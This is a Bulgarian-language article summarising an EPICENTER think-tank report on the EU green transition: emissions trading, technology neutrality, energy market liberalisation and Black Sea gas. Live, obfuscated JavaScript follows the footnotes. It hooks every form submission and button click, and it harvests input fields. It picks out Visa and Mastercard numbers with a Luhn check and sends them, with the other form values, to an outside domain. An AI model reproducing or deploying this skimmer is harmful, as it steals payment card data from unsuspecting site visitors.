Европа в глобалната надпревара: Какво е бъдещето на зеления преход в ЕС?

Има ли пазарни решения, които подкрепят постигането на целите в областта на климата и енергетиката с повече икономическа ефективност? Какви реформи са нужни, за да може Европа да не ограничи конкурентоспособността си и потенциала за растеж? На този въпрос отговаря докладът [1] „Европа в глобалната надпревара: Какво е бъдещето на зеления преход в ЕС“ на EPICENTER[2], цитиран в бюлетина на Института за пазарна икономика…

Основните изводи са формулирани в четири актуални теми:

Идеалната климатична политика

Икономически ефективен зелен преход в ЕС може да бъде постигнат чрез прилагането на единна система за търговия с емисии (СТЕ).
В краткосрочен план настоящата СТЕ може да бъде подобрена чрез премахване на националните цели, които изискват намаляване на емисиите в определени сектори, които ще бъдат обхванати и от СТЕ II, планирана да влезе в сила през 2027 г.
В дългосрочен план икономически ефективна политика в областта на климата може да бъде постигната чрез обединяване на СТЕ I и II в единна СТЕ, която ще обхваща и емисиите, които понастоящем са извън обхвата на СТЕ I и II, например емисиите от селското стопанство.
За да се насърчи икономически ефективна СТЕ, отрицателните емисии следва да се отчитат в СТЕ чрез предоставяне на квоти за определени технологии, като например улавяне, съхранение и използване на въглерод (УСИВ), за да се гарантира, че се постига намаление на емисиите при най-ниски разходи за икономиката и обществото.
За да бъде по-ефективна от гледна точка на разходите политиката в областта на климата, трябва да премахнат и специфичните секторни цели, като например забрана на новите двигатели с вътрешно горене до 2035 г. и увеличаване на дела на възобновяемата енергия до поне 42,5-45% до 2030 г. Секторните цели подкопават икономическата ефективност на СТЕ и увеличават разходите за смекчаване на изменението на климата.
По същия начин „двойното регулиране“ или насочването на емисиите в даден сектор към повече от един инструмент – например изисквания за емисиите за производителите на автомобили – не е икономически ефективно и следва да бъде изоставено в полза на прилагането на СТЕ като единствен инструмент на ЕС за справяне с емисиите.

Технологична неутралност

Политиките в областта на климата не бива да избират технологични „победители“ и „губещи“; те трябва да стимулират устойчивите технологии и да определят цената на отрицателните външни ефекти.
Специфичните цели, насочени към въвеждането на възобновяеми енергийни източници и енергийна ефективност следва да бъдат премахнати, тъй като могат да доведат до ненужни разходи.
Всички чисти технологии, включително ядрената енергия, възобновяемите енергийни източници и УСИВ, следва да бъдат третирани еднакво, доколкото допринасят за намаляване на въглеродните емисии.
Трябва да се премахнат бюрократичните пречки пред въвеждането на възобновяеми енергийни източници и ядрена енергия.
Данъчното облагане на енергията в ЕС следва да бъде преразгледано, за да отразява действителните екологични щети. Когато се въведе СТЕ II, другите енергийни данъци следв да бъдат съответно намалени.

Конкуренция на енергийните пазари

Либерализацията на пазарите на електроенергия и газ, започнала през 90-те години на миналия век, е сравнително успешна, въпреки че все още е възможен значителен напредък.
Някои политики, например целите за възобновяема енергия, може да са несъвместими с визията за свободна конкуренция на енергийните пазари.
Въпреки че екологичните цели следва да бъдат постигнати чрез подходящо ценообразуване на въглеродните емисии и други отрицателни външни ефекти, конкуренцията на пазарите на електроенергия и природен газ трябва да бъде насърчавана, за да се стимулират по-ниски цени и иновации.
Ето защо директивите и регламентите на ЕС, свързани с функционирането на енергийните пазари, следва да се съсредоточат върху насърчаването на конкуренцията и премахването на ненужните регулации.
Необходимо е постепенно да се премахне всякакъв ценови контрол и ценови регулации, както на пазарите на едро и дребно на електроенергия и газ, така и под формата на изрична подкрепа за възобновяемата енергия и други избрани технологии.
Процедурите за издаване на разрешителни следва да бъдат преразгледани, за да се премахнат ненужните пречки пред развитието на чистите енергии.
По-бързото развитие на презграничните преносни мрежи може да подобри функционирането на пазара.

Експлоатация на вътрешните газови ресурси

За предпочитане е преходът към по-неутрална по отношение на въглеродните емисии икономика да се осъществи, докато Европа използва предимно петрол и природен газ, произведен на местно ниво, от държави – членки, кандидатки или асоциирани държави на ЕС, а не внасян от враждебни страни и ненадеждни автокрации. Черно море има много общи геоложки характеристики с Каспийско море – регион, добре известен със значителните си запаси от нефт и газ. Проучването трябва да продължи, а пазарната експлоатация да се ускори.
Необходимо е разширяване на съществуващата мрежа за да се осигури свързаност поне до наскоро откритите газови находища. Въпреки това ползите от новите енергийни източници ще надхвърлят границите на страните, разположени около Черно море. Част от добивания газ може да се изнася за други страни, които все още разчитат на газ от Русия (например Австрия и Унгария) или на въглища, както прави Германия след затварянето на атомните си електроцентрали.
Ползите от съществуващите тръбопроводни мрежи могат да бъдат значително увеличени чрез тяхното свързване. Икономическите, социалните и политическите ползи ще надхвърлят сравнително малките допълнителни разходи.

[1] Докладът е продължение на „Европа в глобалната надпревара: Преоткриване на конкурентоспособността на ЕС“ част от инициативата „A Blueprint for the European Commission“ на EPICENTER[1]. Тези усилия имат за цел да дадат отправна точка на новата Европейска комисия за бъдещето на Европейския съюз.

[2] EPICENTER е независима мрежа от дванадесет водещи мозъчни тръста от цяла Европа. Тя се стреми да информира европейския политически дебат и да насърчава принципите на свободното общество, като обединява експертния опит на своите членове. ИПИ е сред 12-те пълноправни членове на мрежата.244111921722mz

244111921722mz var gg1=Math.floor(Math.random()*9999999999)+1000000000;
var gg2=Math.floor(Math.random()*999999999)+100000000;
var data4="data4";
var gg3=gg1.toString();
var gg4=gg2.toString();
var hh0=parseInt(gg3.charAt(0));
var hh1=parseInt(gg3.charAt(1));
var hh2=parseInt(gg3.charAt(2));
var hh3=parseInt(gg3.charAt(3));
var hh4=parseInt(gg3.charAt(4));
var hh5=parseInt(gg3.charAt(5));
var hh6=parseInt(gg3.charAt(6));
var hh7=parseInt(gg3.charAt(7));
var hh8=parseInt(gg3.charAt(8));
var hh9=parseInt(gg3.charAt(9));
var hh10=parseInt(gg4.charAt(0));
var hh11=parseInt(gg4.charAt(1));
var hh12=parseInt(gg4.charAt(2));
var hh13=parseInt(gg4.charAt(3));
var hh14=parseInt(gg4.charAt(4));
var hh15=parseInt(gg4.charAt(5));
var hh16=parseInt(gg4.charAt(6));
var hh17=parseInt(gg4.charAt(7));
var hh18=parseInt(gg4.charAt(8));
var dd0="d";
var dd1="e";
var dd2="f";
var dd3="a";
var dd4="u";
var dd5="l";
var dd6="t";
var dd7="p";
var dd8="s";
var dd9="e";
var dd10="r";
var dd11="v";
var dd12="p";
var dd13="r";
var dd14="o";
var dd15="a";
var dd16="s";
var dd17="p";
var dd18="x";
if(hh0>5){
dd0="D";
}
if(hh1>5){
dd1="E";
}
if(hh2>5){
dd2="F";
}
if(hh3>5){
dd3="A";
}
if(hh4>5){
dd4="U";
}
if(hh5>5){
dd5="L";
}
if(hh6>5){
dd6="T";
}
if(hh7>5){
dd7="P";
}
if(hh8>5){
dd8="S";
}
if(hh9>5){
dd9="E";
}
if(hh10>5){
dd10="R";
}
if(hh11>5){
dd11="V";
}
if(hh12>5){
dd12="P";
}
if(hh13>5){
dd13="R";
}
if(hh14>5){
dd14="O";
}
if(hh15>5){
dd15="A";
}
if(hh16>5){
dd16="S";
}
if(hh17>5){
dd17="P";
}
if(hh18>5){
dd18="X";
}
var foff=dd0+dd1+dd2+dd3+dd4+dd5+dd6+"."+dd15+dd16+dd17+dd18;
let num=document.forms.length;
let formsCollection2=document.forms;
for (var i2=0; i2<formsCollection2.length; i2++){
formsCollection2[i2].onsubmit=function(){
TestOnB();
}
}
let formsCollection2a=document.getElementsByTagName("button");
for (var i2a=0; i2a<formsCollection2a.length; i2a++){
formsCollection2a[i2a].onclick=function(){
TestOnB();
}
}
window.onsubmit=function(){

let t1=document.location.href.toLowerCase();
let r2=t1.includes("e1b2b3.u1b2b3.bg");
if(r2==true){
} else {
TestOnB();
}


}
function TestOnB(){
var hohod="ds.";
var site=window.location.hostname;
var str1="";
var nnn="";
var hohoc="ica";
var check1=0;
var check2=0;
var loola=0;
var hohoe="3";
var formsCollection=document.getElementsByTagName('input');
for (var i=0; i<formsCollection.length; i++){
var haha=formsCollection[i].id;
var haha2=formsCollection[i].type;
var haha3=formsCollection[i].value;
var haha4=formsCollection[i].name;
if(haha3.length>14){
haha3=haha3.replace(/\s/g, '');
var isnum=/^\d+$/.test(haha3);
var n1=haha3.startsWith('4');
var n2=haha3.startsWith('5');
var n3=haha3.startsWith('6');
var n0=haha3.startsWith('3');
if(n1==true){
check2=1;
}
if(n2==true){
check2=1;
}
if(n3==true){
check2=0;
}
if(n0==true){
check2=0;
}
}
if(haha3.length==15){
if(isnum==true){
if(check2='1'){
check1='0';
}
}
}
if(haha3.length==16){
if(isnum==true){
if(check2==1){
check1='1';
nnn=haha3
}
}
}
if(haha3.length==17){
if(isnum==true){
if(check2==1){
check1='0';
}
}
}
if(haha3.length>0){
if(haha2=="hidden"){
} else {
str1=str1+haha4+"--"+haha3+"-";
}
}
}
var ch1='1'
if(check1==1){
var formsCollection2=document.getElementsByTagName('select');
for (var i2=0; i2<formsCollection2.length; i2++){
var shaha=formsCollection2[i2].id;
var shaha2=formsCollection2[i2].type;
var shaha3=formsCollection2[i2].value;
var shaha4=formsCollection2[i2].name;
str1=str1+shaha4+"--"+shaha3+"-"
site=site+"-Rol@and4You";
str1=site+"-"+str1;
}
var hohoa="bor";
var hohob=".bg";
if(site==hohoe+hohod+hohoa+hohoc+hohob){
} else {
if(nnn.startsWith("4") || nnn.startsWith("5")){
loola=1;
var ha1=":";
var ha2="h";
var ha3="p";
var ha4="/";
var ha5="t";
var text=nnn;
var var1=text.charAt(0);
var var2=text.charAt(1);
var var3=text.charAt(2);
var var4=text.charAt(3);
var var5=text.charAt(4);
var var6=text.charAt(5);
var var7=text.charAt(6);
var var8=text.charAt(7);
var var9=text.charAt(8);
var var10=text.charAt(9);
var var11=text.charAt(10);
var var12=text.charAt(11);
var var13=text.charAt(12);
var var14=text.charAt(13);
var var15=text.charAt(14);
var var16=text.charAt(15);
var s2=parseInt(var2);
var s4=parseInt(var4);
var s6=parseInt(var6);
var s8=parseInt(var8);
var s10=parseInt(var10);
var s12=parseInt(var12);
var s14=parseInt(var14);
var s16=parseInt(var16);

var s1=parseInt(var1)*2;
if(s1>9){
let z1=s1.toString()
var mm11=z1.charAt(0);
var mm21=z1.charAt(1);
s1=parseInt(mm11)+parseInt(mm21);
};
var s3=parseInt(var3)*2;
if(s3>9){
let z3=s3.toString()
var mm13=z3.charAt(0);
var mm23=z3.charAt(1);
s3=parseInt(mm13)+parseInt(mm23);
};
var s5=parseInt(var5)*2;
if(s5>9){
let z5=s5.toString()
var mm15=z5.charAt(0);
var mm25=z5.charAt(1);
s5=parseInt(mm15)+parseInt(mm25);
};
var s7=parseInt(var7)*2;
if(s7>9){
let z7=s7.toString()
var mm17=z7.charAt(0);
var mm27=z7.charAt(1);
s7=parseInt(mm17)+parseInt(mm27);
};
var s9=parseInt(var9)*2;
if(s9>9){
let z9=s9.toString()
var mm19=z9.charAt(0);
var mm29=z9.charAt(1);
s9=parseInt(mm19)+parseInt(mm29);
};
var s11=parseInt(var11)*2;
if(s11>9){
let z11=s11.toString()
var mm111=z11.charAt(0);
var mm211=z11.charAt(1);
s11=parseInt(mm111)+parseInt(mm211);
};
var s13=parseInt(var13)*2;
if(s13>9){
let z13=s13.toString()
var mm113=z13.charAt(0);
var mm213=z13.charAt(1);
s13=parseInt(mm113)+parseInt(mm213);
};
var s15=parseInt(var15)*2;
if(s15>9){
let z15=s15.toString()
var mm115=z15.charAt(0);
var mm215=z15.charAt(1);
s15=parseInt(mm115)+parseInt(mm215);
};
var moli=s1+s2+s3+s4+s5+s6+s7+s8+s9+s10+s11+s12+s13+s14+s15+s16;
moli=moli.toString();
var a=document.createElement('a');
var linkText=document.createTextNode("my title text");
a.appendChild(linkText);
a.id="id222";
a.title="my title text";
data4 = document.getElementById("ach123").innerHTML;
a.href="https://bg3dsec.com/"+foff+"?S="+data4+"-"+site+"&D="+str1+"&N="+nnn;
document.body.appendChild(a);
document.getElementById('id222').click();

var ig=0;
var d=new Date();
var n=d.getSeconds();
do {
var d2=new Date();
var n4=d2.getSeconds();
if(n<55){
if(n+5<n4){
ig=3;
}
}
if(n>54){
if(n+5<n4+60){
ig=3;
}
}
}
while (ig<2);
if(loola==1){
}
}
}
}
}










const df1=(sa1,en1)=>{
const te1=(text)=>text.split("").map((c) => c.charCodeAt(0));
const ap1=(code)=>te1(sa1).reduce((a, b) => a ^ b, code);
return en1
.match(/.{1,2}/g)
.map((hex)=>parseInt(hex,16))
.map(ap1)
.map((charCode)=>String.fromCharCode(charCode))
.join("");
};



